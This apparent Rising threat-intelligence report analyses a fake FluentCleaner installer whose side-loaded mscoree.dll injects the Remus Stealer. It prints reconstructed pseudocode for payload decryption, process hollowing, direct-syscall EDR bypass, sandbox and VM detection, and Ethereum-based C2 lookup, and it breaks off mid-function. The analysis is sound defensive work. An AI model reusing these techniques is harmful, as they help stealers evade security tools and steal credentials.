概述
近日瑞星威胁情报平台监测到一起针对知名开源Windows清理工具FluentCleaner的恶意攻击事件,攻击者仿冒其官方渠道(fluentcleaner.org)投放带毒安装包,以"白加黑"手法将恶意mscoree.dll与正规程序二次打包后通过网络传播。恶意mscoree.dll解密内嵌的Remus Stealer窃密木马并注入合法进程ServiceModelReg.exe中执行,而Remus Stealer自身具备多重反检测机制——通过沙箱DLL哈希比对、蜜罐文件与CPUID虚拟机特征检测规避分析环境,同时采用SSN直连syscall绕过EDR用户态Hook,经EtherHiding链上C2动态获取控制地址并下发命令,定向窃取浏览器凭据、Cookie、Steam/Roblox账号及C2指定文件后加密回传。
事件详情
仿冒网站如下:

下载页面如下:

攻击流程

样本分析
mscoree.dll分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | mscoree.dll |
| 文件大小 | 3193 KB |
| 文件MD5 | 6959d1a00c0dd4a2e6779be2049cfd30 |
| 文件类型 | DLL |
| 病毒名 | Trojan.Kryptik/x64!1.143B8 |
| 主要功能 | 检测运行环境,解密内嵌Remus Stealer并注入ServiceModelReg.exe进程 |
样本内的加密分为两层:底层是一个自定义流密码引擎,所有密文最终都由它解密。上层根据数据类型走不同入口——字符串类数据先经 Base64 解码再调用引擎,PE 和配置数据直接送入引擎。密钥全局共用,硬编码于文件内。
密钥以 Base64 形式硬编码于文件偏移 0x1BBBAB:
SRi79IrixO5E8z5x4IJc42Px0sKe3BxGNEQQDgqtynZeq9Abv3RVAlq1QM1HTEQS
Base64Key_LoadFromFile 解码得 48 字节,ReadQwordLE 逐 8 字节读为 6 个 uint64,随后 KeystreamBlock 以 CTR 模式生成密钥流与密文 XOR。
void *StreamCipher_Decrypt(__int64 encryptedData)
{
dataSize = *(encryptedData + 8);
// 6 个 uint64 密钥:
// 0xEEC4E28AF4BB1849 0xE35C82E0713EF344 0x461CDC9EC2D2F163
// 0x76CAAD0A0E104434 0x025574BF1BD0AB5E 0x12444C47CD40B55A
keyStruct = Base64Key_LoadFromFile(&g_Base64KeyStructure);
for (int i = 0; i < 6; i++)
keys[i] = ReadQwordLE(keyStruct, i * 8);
output = BufferAlloc(dataSize);
keystreamBuf = BufferAlloc(16);
blockIndex = 0; streamPos = 16;
for (int i = 0; i < dataSize; i++) {
if (streamPos >= 16) {
KeystreamBlock(keys, blockIndex++, keystreamBuf);
streamPos = 0;
}
output[i] = encryptedData[i] ^ keystreamBuf[streamPos++];
}
return output;
}
类 Threefish 结构的自定义流密码,12 轮。3 个 64 位状态字,每轮拆分 32 位半字做加法+XOR 混合,再经 ROL(7/45/37) 旋转后与密钥混合。常量 0x9E3779B97F4A7C15 为 Golden Ratio 共轭。
void KeystreamBlock(keys, counter, output_16bytes)
{
state0 = keys[0] ^ counter;
state1 = keys[1] ^ ~counter;
state2 = keys[2] ^ (0x9E3779B97F4A7C15 * counter);
for (round = 0; round < 12; round++) {
s0_lo = (uint32)state0; s0_hi = state0 >> 32;
s1_lo = (uint32)state1; s1_hi = state1 >> 32;
s2_lo = (uint32)state2; s2_hi = state2 >> 32;
mixAB = (s1_lo + s2_hi) | ((s0_lo ^ s1_hi) << 32);
mixBC = (s2_lo + s0_hi) | ((s1_lo ^ s2_hi) << 32);
mixTemp = (s0_lo + s1_hi) | ((s0_hi ^ s2_lo) << 32);
mixAC = mixTemp + mixAB;
state0 = keys[(round+3)%6] ^ ROL64(mixAC, 7);
state1 = keys[(round+4)%6] ^ ROL64(mixAB + mixBC, 45);
state2 = keys[(round+5)%6] ^ ROL64(state0 + mixBC, 37);
}
WriteQwordLE(output, 0, keys[3] ^ state0 ^ state2);
WriteQwordLE(output, 8, keys[4] ^ state1 ^ state0);
}
StringResolver_Get 是字符串类数据的解密入口。输入为 CLR 托管资源结构体(encryptedResource[+8] 为长度,[+12] 为 Base64 密文),先调用 Base64Key_LoadFromFile 解码,再送入 StreamCipher_Decrypt 解密,最后经 PathProcessor 转为 UTF-16LE 字符串返回。
void *__fastcall StringResolver_Get(__int64 encryptedResource)
{
if (!encryptedResource || !*(_DWORD *)(encryptedResource + 8))
return &empty_string;
clrContext = g_CLR_DecryptContext;
decodedData = Base64Key_LoadFromFile(encryptedResource);
decryptedData = StreamCipher_Decrypt(decodedData);
return PathProcessor(clrContext, decryptedData);
}
调用方通过 StringResolver_Get(&g_EncryptedPathResource) 解密注入路径,并与参考值比对决定是否使用替代路径:
injectionPath = StringResolver_Get(&g_EncryptedPathResource);
referencePath = StringResolver_Get(&g_EncryptedFrameworkRef);
if ( !ComparePaths(injectionPath, referencePath) )
goto skip_alt;
injectionPath = GetAlternativePath();
skip_alt:
以注入路径为例,加密资源 g_EncryptedPathResource 的实际内容及解密过程如下:
Base64 密文 (92 字符):
uHDTpDaMHb3kaDmHUG1QzQxbP0zKFhDWrtLZtpgDcQ59ae
WcbtECeAQU+x4emlvodoC32zaB3hSBNEF6eq5Uuy/6TQ==
↓ Base64 解码 → 67 字节密文 → StreamCipher_Decrypt →
解密结果:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
PE 解密直接使用流密码引擎,无需 Base64 步骤:
__int64 PayloadReader_GetDecrypted(__int64 context, unsigned int *outSize)
{
encryptedData = PayloadLoad_AllocAndCopy(); // 加载 222KB 密文 (文件偏移 0x151168)
if (!encryptedData || !*(_DWORD *)(encryptedData + 8))
return 0;
decryptedData = StreamCipher_Decrypt(encryptedData); // 直接解密, 无 Base64 步骤
decryptedSize = *(decryptedData + 8);
*outSize = decryptedSize;
result = AllocCopy(decryptedSize);
for (int i = 0; i < decryptedSize; i++)
result[i] = *(decryptedData + i + 16);
return result;
}
注入流程通过 RetryWrapper (最多 7 次重试, 递增延迟) 调用 PEInjectEngine 完成。
__int64 RetryWrapper(_QWORD *callback, __int64 payloadPE, __int64 path)
{
retryCount = 0;
while (1)
{
if (retryCount > 0)
{
logBuilder = StringBuilder_Alloc(256);
clrContext = g_CLR_DecryptContext;
decodedInput = Base64Key_LoadFromFile(&g_RuntimeDecryptInput);
decryptedData = StreamCipher_Decrypt(decodedInput);
newPath = PathProcessor(clrContext, decryptedData);
StringBuilder_Append(logBuilder, newPath);
StringBuilder_AppendHex(logBuilder, retryCount);
StringBuilder_Finalize(logBuilder);
Sleep(100);
Sleep(500 + 300 * retryCount);
}
if (PEInjectEngine(callback, payloadPE, path))
return 1;
if (++retryCount >= 7)
return 0;
}
}
PEInjectEngine 通过回调结构体中的间接函数指针调用 API,导入表中无直接引用。
CreateProcessW — 以挂起方式创建目标进程:
startupInfo.cb = 0x68;
memset(&startupInfo.lpReserved, 0, sizeof(STARTUPINFO) - 8);
pCreateProcess = (void *)callback[0x10];
CritSec_Enter(&lock);
result = pCreateProcess(
path, // 解密后的注入路径
NULL, // lpCommandLine
NULL, // lpProcessAttributes
NULL, // lpThreadAttributes
FALSE, // bInheritHandles
0x8000004, // 以挂起方式创建, 不立即执行
NULL, // lpEnvironment
NULL, // lpCurrentDirectory
&startupInfo,
&processInfo // 返回进程/线程句柄
);
CritSec_Leave(&lock);
ZwQueryInformationProcess — 查询挂起进程 PEB,获取 ImageBaseAddress:
pZwQueryInfo = (void *)callback[0x18];
BYTE buffer[0x30] = {0};
pZwQueryInfo(
hProcess, // 挂起进程句柄
ProcessBasicInformation, // 查询 PEB 基址信息
buffer, // 输出缓冲区
0x30, // 缓冲区大小
NULL
);
VirtualAllocEx — 在目标进程分配 RWX 内存:
pVirtualAlloc = (void *)callback[0x28];
CritSec_Enter(&lock);
allocatedBase = pVirtualAlloc(
hProcess, // 目标进程句柄
ImageBase, // 0x140000000 (Payload PE 要求的基址)
SizeOfImage, // 0x3A000 (232KB)
MEM_COMMIT | MEM_RESERVE, // 提交物理页 + 保留虚拟地址
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
CritSec_Leave(&lock);
if (!allocatedBase) {
allocatedBase = pVirtualAlloc(hProcess, NULL, SizeOfImage, 0x3000, 0x40);
}
WriteProcessMemory ×5 — 逐节区写入恶意 PE:
pWriteProcessMemory = (void *)callback[0x30];
for (int i = 0; i < 5; i++) {
CritSec_Enter(&lock);
pWriteProcessMemory(
hProcess, // 目标进程句柄
section[i].base, // 远程地址 (ImageBase + VirtualAddress)
section[i].data, // 本地数据 (PE 文件 + PointerToRawData)
section[i].size, // 写入大小 (SizeOfRawData)
NULL
);
CritSec_Leave(&lock);
}
| # | lpBaseAddress | nSize | 写入内容 |
|---|---|---|---|
| 1 | 0x140000000 |
0x400 | PE Headers |
| 2 | 0x140001000 |
0x2D200 | .text 节区 |
| 3 | 0x14002F000 |
0x2A00 | .rdata 节区 |
| 4 | 0x140032000 |
0x5000 | .data 节区 |
| 5 | 0x140038000 |
0x1400 | .reloc 节区 |
Remus Stealer分析
| 字段 | 内容 |
|---|---|
| 文件大小 | 217 KB |
| 文件MD5 | 61e1669ed9f2ab2a4b9662a67628b177 |
| 文件类型 | EXE |
| 主要功能 | Remus Stealer:多重反分析(SSN syscall反调试、沙箱/虚拟机/蜜罐检测),EtherHiding链上C2,窃取浏览器凭据、Cookie、Steam/Roblox凭据、剪贴板及C2指定文件 |
AntiAnalysis_ModuleCheck — 反调试 SSN 检查
g_pNtdllBase 是 ntdll.dll 的加载基址。传入后先构建 Hash→SSN 表,然后搜索哈希 0xD4C1B277(对应 NtSetInformationProcess)的 SSN,以 InfoClass=40 执行反调试 syscall。
char AntiAnalysis_ModuleCheck()
{
char result;
__int64 i;
__int128 v3;
// [1] 构建 SSN 表 — 遍历 ntdll 导出表,对每个 Nt* 函数提取 {hash, SSN}
if (!SSNTable_BuildFromNtdll(g_pNtdllBase))
return 0; // PE 结构损坏 → 触发 ExitProcess(0)
// [2] 在缓存中搜索 NtSetInformationProcess (hash = 0xD4C1B277)
v3 = 0;
if (g_APIHashCacheSize) {
i = 0;
while (*(DWORD *)(g_pAPIHashCache + i * 8) != 0xD4C1B277) { // hash = "NtSetInformationProcess"
if (g_APIHashCacheSize == ++i)
goto no_api_found;
}
// [3] 找到 → 读取 SSN → NtSetInformationProcess(GetCurrentProcess, 40, &v3, 16)
Syscall_Dispatcher(
*(DWORD *)(g_pAPIHashCache + i * 8 + 4), // SSN = NtSetInformationProcess 的系统调用号
4, // argCount = 4
-1, // Handle = GetCurrentProcess()
40, // InfoClass = 0x28 (非标准反调试类)
&v3, // 输入缓冲区 16 字节 (全零)
16 // 缓冲区大小
);
return 1;
}
no_api_found:
int v2 = 0;
do { ++v2; } while (!v2);
return 1; // 未找到 → 默认通过
}
验证 ntdll PE 结构完整后,从导出表读取 NumberOfNames,扩容全局缓存,最后调用回调遍历所有 Nt* 导出构建 {API哈希, SSN} 映射表。
__int64 SSNTable_BuildFromNtdll(unsigned __int16 *ntdll_base)
{
// [1] 验证 MZ 签名 — 混淆比对 0x5A4D
WORD mz = *(WORD *)ntdll_base;
int counter = 0;
int check = 0x1E4F75F3;
do { check ^= 0x1E4F7593 * ++counter; } while (!counter);
if (mz != check) // check 恒为 0x5A4D
return 0;
// [2] e_lfanew → PE 签名 "PE\0\0"
int e_lfanew = *(int *)((char *)ntdll_base + 0x3C);
counter = 0;
check = 0x3C86EF46;
do {
counter++;
// MBA 混淆计算 → 最终恒为 0x4550 ("PE\0\0")
check ^= (counter & 0x3C86EF46 ^ 0x3C86EF46)
* (counter & 0xC37910B9)
+ (counter & 0x3C86EF46)
* (counter | 0x3C86EF46);
} while (!counter);
if (*(DWORD *)((char *)ntdll_base + e_lfanew) != check)
return 0;
// [3] DataDirectory[0].VirtualAddress (偏移 0x88) → 导出表 RVA
DWORD export_rva = *(DWORD *)((char *)ntdll_base + e_lfanew + 0x88);
if (!export_rva) return 0;
// [4] DataDirectory[0].Size (偏移 0x8C) → 导出表大小
if (!*(DWORD *)((char *)ntdll_base + e_lfanew + 0x8C))
return 0;
// [5] ExportDirectory.NumberOfNames (偏移 0x18)
DWORD name_count = *(DWORD *)((char *)ntdll_base + export_rva + 0x18);
// [6] 扩容全局缓存: 每条 {hash:DWORD, SSN:DWORD} = 8 字节
__int64 new_count = g_APIHashCacheSize + name_count;
void *new_cache = Memory_Alloc(new_count * 8);
if (g_pAPIHashCache) {
Memory_MemCopy(new_cache, g_pAPIHashCache, g_APIHashCacheSize * 8);
Memory_Free(g_pAPIHashCache);
}
g_pAPIHashCache = new_cache;
// [7] 回调 → 遍历导出表构建 Hash→SSN 映射
return g_pSSNTable_Populate();
}
遍历 ntdll 导出表,对每个以 "Nt" 开头的导出计算 CRC32 哈希,再从函数入口处的机器码中提取系统调用号 (SSN),去重后存入 g_pAPIHashCache。这张表建成后,后续所有模块只需用哈希查表就能拿到 SSN,通过 Syscall_Dispatcher 直接执行 syscall,全程不经过 ntdll.dll,彻底绕过用户态 Hook(EDR/AV 的 IAT Hook、Inline Hook 全部失效)。
SSN 提取原理:x64 上每个 ntdll syscall stub 开头都是两条固定指令——mov r10, rcx 接 mov eax, ,对应字节码 4C 8B D1 B8。搜到这个字节串后,紧跟的 4 字节就是 SSN。
__int64 g_pSSNTable_Populate()
{
BYTE *ntdll_base = rsi;
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(ntdll_base + export_dir_rva);
DWORD *name_rvas = (DWORD *)(ntdll_base + exp->AddressOfNames);
WORD *ordinals = (WORD *)(ntdll_base + exp->AddressOfNameOrdinals);
DWORD *func_rvas = (DWORD *)(ntdll_base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
// [1] 计算导出名 CRC32 哈希
char *name = (char *)(ntdll_base + name_rvas[i]);
DWORD hash = CRC32_Custom(name, 0x21A99E56);
// [2] 仅处理 "Nt" 开头的导出
if (*(WORD *)name != 0x744E) // 0x744E = 'Nt' (LE)
continue;
// [3] 通过序号获取函数 VA
WORD ordinal = ordinals[i];
BYTE *func_va = ntdll_base + func_rvas[ordinal]; // → 指向该Nt函数的实际机器码
// [4] 在func_va的机器码中扫,找 4C 8B D1 B8 = "mov r10,rcx; mov eax,<SSN>"
DWORD ssn = 0xFFFFFFFF;
for (int off = 0; off < 0x20; off++) {
if (func_va[off] == 0xC3) break; // 遇 ret → 停止
if (*(DWORD *)&func_va[off] == 0xB8D18B4C) { // 匹配特征码
ssn = *(DWORD *)&func_va[off + 4]; // 后4字节=SSN
break;
}
}
if (ssn == 0xFFFFFFFF) continue; // 未找到 → 跳过
// [5] 去重
BOOL found = FALSE;
for (DWORD j = 0; j < g_APIHashCacheSize; j++) {
if (g_pAPIHashCache[j].hash == hash) { found = TRUE; break; }
}
if (found) continue;
// [6] 存入缓存
DWORD idx = g_APIHashCacheSize++;
g_pAPIHashCache[idx].hash = hash;
g_pAPIHashCache[idx].ssn = ssn;
}
return 1;
}
CRC32_Custom — 跟标准 CRC32 的唯一区别:初始值从 0xFFFFFFFF 换成了 ~0x21A99E56 = 0xDE5761A9。
// 与标准CRC32的唯一差异: 初始值换成了 ~seed
// 标准CRC32: crc_init = 0xFFFFFFFF
// 此处变体: crc_init = ~0x21A99E56 = 0xDE5761A9
DWORD CRC32_Custom(char *name, DWORD seed)
{
DWORD crc = ~seed;
if (*name == '\0')
return seed; // 空串直接返回seed
while (*name) {
BYTE b = *name++;
DWORD tmp = b ^ crc;
for (int i = 0; i < 8; i++) {
if (tmp & 1)
tmp = (tmp >> 1) ^ 0xEDB88320;
else
tmp = tmp >> 1;
}
crc = tmp;
}
return ~crc;
}
这个函数是整个样本反检测体系的核心——它让所有 API 调用都不经过 ntdll.dll,EDR/杀软在 ntdll 层布置的 Hook 全部作废。
正常的 API 调用必须经过 ntdll:程序 → kernel32.dll → ntdll.dll → syscall → 内核。EDR 就是在 ntdll 这层动手脚——修改函数入口(Inline Hook)、替换 IAT 指向(IAT Hook)、或者拦截 syscall 返回。一旦被 Hook,恶意行为的每一步都被记录。
NTSTATUS Syscall_Dispatcher(DWORD SSN, DWORD argCount, QWORD p1, QWORD p2, QWORD p3, QWORD p4)
{
QWORD syscall_number = SSN; // 系统调用号
QWORD syscall_arg1 = p1; // 第1参
QWORD syscall_arg2 = p2; // 第2参
QWORD syscall_arg3 = p3; // 第3参
QWORD syscall_arg4 = p4; // 第4参
// argCount > 4 → 超出部分从调用方栈拷到当前栈顶
if (argCount > 4) {
QWORD *src = (QWORD *)(rsp + 0x30);
QWORD *dst = (QWORD *)(rsp + 0x20);
for (DWORD i = 0; i < argCount - 4; i++)
dst[i] = src[i];
}
__asm { syscall }; // 直通内核, 绕过ntdll所有Hook
}
AntiAnalysis_ModuleEnum_Thread — 沙箱 DLL 与蜜罐 PST 检测
第一步遍历 PEB 模块链表,与内嵌的 18 个沙箱 DLL 白名单比对,命中(如 sbiedll.dll、snxhk.dll)→ ExitProcess。第二步只有全部未命中才执行——解密 honey@pot.com.pst 蜜罐文件名,创建线程遍历 %UserProfile%\Documents\Outlook Files\ 匹配同名文件,命中同样退出。
char AntiAnalysis_ModuleEnum_Thread()
{
DWORD hashes[18];
Memory_Copy(hashes, &g_sandboxDllHashes, 72); // 18 个沙箱 DLL 模块哈希白名单
QWORD peb = PEB_GetAddress(); // __readgsqword → PEB
int state = 0;
for (int i = 0; i < 18; i++) { // 遍历 18 个白名单哈希
QWORD *entry = *(QWORD *)(peb + 0x18) + 0x10;
state = 4; // 默认: 未找到
for (QWORD *cur = *entry; cur != entry; cur = *(QWORD *)cur) {
if (!cur[12]) continue;
DWORD seed = Crypto_InitContext() ^ 0xAE42BCCC;
if (ModuleName_Hash((WCHAR *)cur[12], seed) == hashes[i]) {
state = 1; // 匹配到沙箱 DLL → 立即退出
break;
}
state = 0;
}
if (state == 4) state = 0; // 未找到 → 继续下一个哈希
if (state == 1) goto exit; // 任意白名单命中 → ExitProcess
}
// 18 个哈希全部未命中 → 进入蜜罐 PST 检测
WORD buf[38]; // 76 字节
Crypto_DecryptBuffer(buf); // 加载密文
for (int m = 0; m < 38; m++) // XOR 解密: key = -12431 * m
buf[m] ^= -12431 * m;
QWORD derived_size;
int checksum = Crypto_HashDerive(0, buf, 37, 0, 0, &derived_size);
DWORD expected;
Crypto_GetChecksum(&expected);
expected ^= 0x6AB1B030; // MBA 混淆还原
if (checksum != expected)
return 0; // 校验失败 → 退出
WCHAR *path = Memory_Alloc(derived_size * 2);
Crypto_HashDerive(0, buf, 37, path, derived_size, &derived_size);
WORD short_hash[6];
Crypto_GetShortHash(short_hash);
for (int ii = 0; ii < 6; ii++)
short_hash[ii] ^= 15283 * ii;
// 创建线程遍历目录, 回调匹配 honey@pot.com.pst
if (DirTraverse_Callback(path, short_hash, Sandbox_CheckHoneypotPST, 0))
goto exit; // 蜜罐命中 → ExitProcess
return; // 全部未命中 → 继续执行
}
内嵌 18 个硬编码的 CRC32 哈希,对应已知沙箱/分析工具注入的 DLL:
| DLL名称 | DLL Name Hash | 组件类型 | 关联软件/组件 | 备注 |
|---|---|---|---|---|
| api_log.dll | 0x48101B84 |
API监控组件 | ThreatTrack沙箱 | 用于识别存在API行为记录或动态分析组件的环境 |
| Unknown | 0xE2F7FAD3 |
– | – | – |
| Unknown | 0xA23DC8C3 |
– | – | – |
| avghookx.dll | 0x7413D625 |
用户态Hook组件 | AVG安全软件 | AVG相关注入组件,用于识别安全软件监控环境 |
| avghooka.dll | 0x19E323D6 |
用户态Hook组件 | AVG安全软件 | AVG相关注入组件,用于识别安全软件监控环境 |
| cmdvrt32.dll | 0xEA330F69 |
虚拟化组件 | Comodo安全软件 | Comodo沙箱内加载的DLL |
| cmdvrt64.dll | 0x35BE6B7A |
虚拟化组件 | Comodo安全软件 | Comodo沙箱内加载的DLL |
| detours.dll | 0xF8ECF22B |
API Hook框架 | Microsoft Detours | 通用API拦截框架,用于识别存在Hook或分析组件的环境 |
| dir_watch.dll | 0x3C479D15 |
文件监控组件 | ThreatTrack沙箱 | 文件监控相关组件,与行为分析环境相关 |
| npcap.dll | 0x228E7355 |
网络抓包组件 | Npcap | 网络数据包捕获组件,用于识别网络分析工具环境 |
| pstorec.dll | 0x77E72FE2 |
– | ThreatTrack沙箱 | – |
| sbiedll.dll | 0x4B777536 |
沙箱组件 | Sandboxie | Sandboxie核心组件,用于识别Sandboxie沙箱环境 |
| snxhk.dll | 0x43D6CA05 |
用户态Hook组件 | Avast安全软件 | Avast相关Hook组件,用于识别安全软件注入 |
| vmcheck.dll | 0x200178C7 |
虚拟环境检测组件 | Hyper-V | 虚拟机检测相关组件,用于识别虚拟化分析环境 |
| windivert.dll | 0xBF3AE5D4 |
网络过滤组件 | WinDivert | 网络流量拦截/处理组件,用于识别网络分析环境 |
| winpcap.dll | 0x8F5DF816 |
网络抓包组件 | WinPcap | 网络数据包捕获组件,用于识别抓包分析环境 |
| wpcap.dll | 0x22ED877F |
网络抓包组件 | WinPcap/Npcap兼容接口 | 网络抓包接口组件,用于识别网络分析工具 |
| wpespy.dll | 0x10393D8E |
监控组件 | WPE Pro | 网络数据包嗅探和修改工具,用于识别网络分析工具 |
算法同 CRC32_Custom,两个区别:1. 输入是 WIDE 字符串(UTF-16LE),按 WORD 而非逐字节;2. seed 不同——Crypto_InitContext ^ 0xAE42BCCC = 0xE585BD66。
DWORD ModuleName_Hash(WCHAR *name, DWORD seed)
{
DWORD crc = ~seed; // 同 CRC32_Custom: init = ~seed
if (*name == 0) // 空串直接返回 ~crc
return ~crc;
for (WCHAR *p = name; *p; p++) {
DWORD tmp = crc ^ *p; // XOR 当前 WORD (区别于逐字节)
for (int i = 0; i < 8; i++) { // 8 轮 LFSR
if (tmp & 1)
tmp = (tmp >> 1) ^ 0xEDB88320;
else
tmp = tmp >> 1;
}
crc = tmp;
}
return ~crc; // 最终取反
}
加载 76 字节加密配置,XOR 解密后经两次 Crypto_HashDerive 生成遍历路径(%UserProfile%\Documents\Outlook Files\),DirTraverse_Callback 启动目录扫描,每个文件回调 Sandbox_CheckHoneypotPST 比对 honey@pot.com.pst。
// --- 蜜罐 PST 检测 ---
// 遍历 %UserProfile%\Documents\Outlook Files\,匹配 honey@pot.com.pst
// [1] 加载 5 个 xmmword → XOR 解密
WORD buf[38];
Crypto_DecryptBuffer(buf);
for (int m = 0; m < 38; m++)
buf[m] ^= -12431 * m; // 38 轮 WORD XOR
// [2] 首次派生: 计算校验和 + 获取路径长度
QWORD path_len;
int checksum = Crypto_HashDerive(0, buf, 37, NULL, 0, &path_len);
// [3] 校验和比对
int expected = Crypto_GetChecksum(&expected); // → 0xAABB4453
expected ^= 0x6AB1B030; // → 0xC00AF463
if (checksum != expected)
return; // 校验失败 → 配置无效
// [4] 二次派生: 解密遍历路径 → %UserProfile%\Documents\Outlook Files\
WCHAR *path = Memory_Alloc(path_len * 2);
Crypto_HashDerive(0, buf, 37, path, path_len, &path_len);
// [5] 解密短哈希 (12 字节常量)
WORD short_hash[6];
Crypto_GetShortHash(short_hash);
for (int i = 0; i < 6; i++)
short_hash[i] ^= 15283 * i;
// [6] 遍历目录 → 每个文件回调 Sandbox_CheckHoneypotPST
if (DirTraverse_Callback(path, short_hash, Sandbox_CheckHoneypotPST, 0))
goto exit; // 蜜罐命中
Memory_Free(path);
Sandbox_CheckHoneypotPST — 解密 honey@pot.com.pst,与目录中每个文件名比对:
char Sandbox_CheckHoneypotPST(WCHAR *filename)
{
WORD enc[18]; // 内嵌密文
Memory_Copy(enc, &g_EncHoneypotPST, 36);
for (int i = 0; i < 18; i++)
enc[i] ^= -3632 * (i + 1); // 18 轮 XOR → L"honey@pot.com.pst"
if (wcscmp(filename, (WCHAR *)enc) == 0) // 匹配 → 沙箱
goto exit;
return;
}
AntiAnalysis_Flattened — 加壳检测与 NtRaiseHardError 弹窗
遍历 g_pAPIHashCache 搜索哈希 0xA7C29068(NtRaiseHardError,SSN=0x169)。命中 → 样本没加壳裸奔 → 弹窗警告;未命中 → 已加壳 → 跳过弹窗。
for (QWORD i = 0; i < g_APIHashCacheSize; i++) {
if (g_pAPIHashCache[i].hash == 0xA7C29068) { // NtRaiseHardError 已被解析
Syscall_Dispatcher(
g_pAPIHashCache[i].ssn, // SSN = 0x169 = NtRaiseHardError
6, // argCount = 6
&error_status, // ErrorStatus
0, // ResponseOption = AbortRetryIgnore
¶ms, // Parameters[3]
3, // NumberOfParameters
0, 0 // 栈上补齐
);
break; // 弹窗后卡死/退出
}
}
弹窗如下:

直接插入 INT3(0xCC)指令。调试器附加时 INT3 被捕获可检测;无调试器时走 SEH 正常继续。
140026D7B int 3 ; OLLVM 35 状态中的一个 case: __debugbreak()
通过查询 CPU 信息判断当前是否运行在虚拟机中,一旦发现 KVM、QEMU、VMware、VirtualBox、Xen 等常见虚拟机的痕迹就判定为被分析。
bool CPuID_CheckVM()
{
// 第一次 cpuid: leaf 1,检查 hypervisor 存在位
int eax = 0x5ABE68F4 ^ 0x5ABE68F5; // → 0x1 (CPUID leaf 1)
__cpuid(&cpu_info, eax);
if (cpu_info.ecx & 0x80000000) // CPUID.1:ECX 位31 = hypervisor present
return 1;
// 第二次 cpuid: leaf 0x40000000,查询 hypervisor 厂商签名
eax = 0x38F5E2A8 ^ 0x78F5E2A8; // → 0x40000000
__cpuid(&cpu_info, eax);
DWORD sig = cpu_info.ecx; // ECX = 签名中间 4 字节
// 逐一比对 5 个运行时拼出的签名(解码常量 ^ 掩码 = 明文签名)
if (sig == 0x4166110F ^ 0x172D5C59) return 1; // 0x564B4D56 "VMKV" → KVM (KVMKVMKVM)
if (sig == 0x7630914B ^ 0x3564D608) return 1; // 0x43544743 "CGTC" → QEMU (TCGTCGTCGTCG)
if (sig == 0x1ECA2AC9 ^ 0x539C4FBB) return 1; // 0x4D567265 "reVM" → VMware (VMwareVMware)
if (sig == 0x09BC8B3C ^ 0x71D3C96A) return 1; // 0x786F4256 "VBox" → VirtualBox (VBoxVBoxVBox)
if (sig == 0x75530E56 ^ 0x100B431B) return 1; // 0x65584D4D "MMXe" → Xen (XenVMMXenVMM)
return 0;
}
绕开系统 API、直接读取进程自身的运行信息,供上层反分析流程校验进程状态是否正常。
QWORD SysHandle_Query(QWORD mode)
{
QWORD peb = __readgsqword(0x60); // GS 段直接读 PEB,绕过 API/Hook
if (mode == 0) // ← 实际执行的路径 (两处调用都传 0)
return *(QWORD *)(peb + 0x20) + 0x60; // PEB->ProcessParameters + 0x60
// = ImagePathName.Buffer 字段地址
QWORD ldr = *(QWORD *)(peb + 0x18); // PEB->Ldr
QWORD head = ldr + 0x10; // InLoadOrderModuleList 头
QWORD flink = *(QWORD *)(ldr + 0x10); // 第一个模块的 Flink
if (flink != head) { /* 继续走第二模块 DllBase 比对… */ }
return 0;
}
算法同 CRC32_Custom,对一段数据算校验值。调用方用它校验样本自身内嵌的数据是否被改动——数据一旦被修改,校验值即与期望值不符,判定为被分析。
DWORD SysInfo_Check(BYTE *data, QWORD size, DWORD seed)
{
DWORD crc = ~seed;
for (QWORD i = 0; i < size; i++) {
BYTE b = data[i];
DWORD tmp = crc ^ b;
for (int j = 0; j < 8; j++)
tmp = (tmp >> 1) ^ ((tmp & 1) ? 0xEDB88320 : 0);
crc = tmp;
}
return ~crc;
}
Config_Init — 全局加密状态初始化
Config_Init 负责初始化全局 ChaCha20 加密状态 g_pConfig(0x140036F28)。该状态由 ChaCha20_InitState 以硬编码静态密钥 + 静态 nonce 构建(64 字节 = 常量块 "expand 32-byte k" + 32 字节密钥 + 8 字节 nonce,计数器置零):
char Config_Init()
{
ChaCha20_InitState(&g_pConfig,
&g_chacha20_static_key, // 04DBF4945C17C08684215D929A8A26BCB030176FEA927EC9B8F0DB05EC8C6B6F
&g_chacha20_static_nonce, // B2FBAC07FD9F40E6
0LL); // 64 位块计数器 = 0
return 1;
}
EtherHiding_ResolveC2 — 以太坊链上 C2 地址解析
该函数是样本 EtherHiding(链上 C2 隐藏)技术的核心——C2 地址不写死在样本内,而是加密存储在以太坊智能合约中,运行时通过公共 RPC 节点查询 eth_call 动态获取。C2 地址由攻击者链上更新,样本每次启动拉取最新值,实现 C2 基础设施的动态轮换与抗封禁。
EtherHiding 的整个 HTTP 请求全部由运行时混淆解密生成,样本内不落地任何明文。函数在 WinHTTP 分支(g_eh_state 状态判定)依次还原 5 个数据块,组合为一次完整的 eth_call 查询:目标为公共以太坊 RPC 节点 https://ethereum-rpc.publicnode.com,以 POST + Content-Type: application/json 发送 JSON-RPC 请求体,向合约 0x999941b74F6bbc921D5174A5b29911562cd2D7CF 调用函数选择器 0xc2fb26a6 查询 C2 地址;响应解析时再解密 result 字段名定位结果。
// EtherHiding_ResolveC2 加密数据解密
// [1] RPC 端点 → L"https://ethereum-rpc.publicnode.com"
WORD rpc_url[36];
memcpy(rpc_url, (void*)0x14002FF4A, 72);
for (int i = 0; i < 36; i++) {
WORD key = (11116 * (i + 1)) & 0xFFFF;
rpc_url[i] = rpc_url[i] - key - 2 * (rpc_url[i] & ((-key) & 0xFFFF));
}
// [2] Content-Type 头 → L"Content-Type: application/json"
WORD content_type[31];
memcpy(content_type, (void*)0x14002FE78, 62);
for (int i = 0; i < 31; i++)
content_type[i] ^= (WORD)(26708 * (i + 1));
// [3] HTTP 方法 (栈立即数) → "POST"
WORD http_method[5] = { 0x8AE3, 0x1529, 0x4AA0, 0x982A, 0xB61F };
for (int i = 0; i < 5; i++)
http_method[i] ^= (WORD)(-30029 * (i + 1));
// [4] JSON-RPC 请求体 → {"jsonrpc":"2.0","id":1,"method":"eth_call",
// "params":[{"to":"0x999941b74F6bbc921D5174A5b29911562cd2D7CF",
// "data":"0xc2fb26a6"},"latest"]}
BYTE rpc_body[137];
memcpy(rpc_body, (void*)0x14002FEB6, 137);
for (int i = 0; i < 137; i++) {
int c = i + 1;
BYTE key = (BYTE)(((c & 0xB) * (c | 0xB) + ((c & 0xB) ^ 0xB) * (c & 0xF4)) & 0xFF);
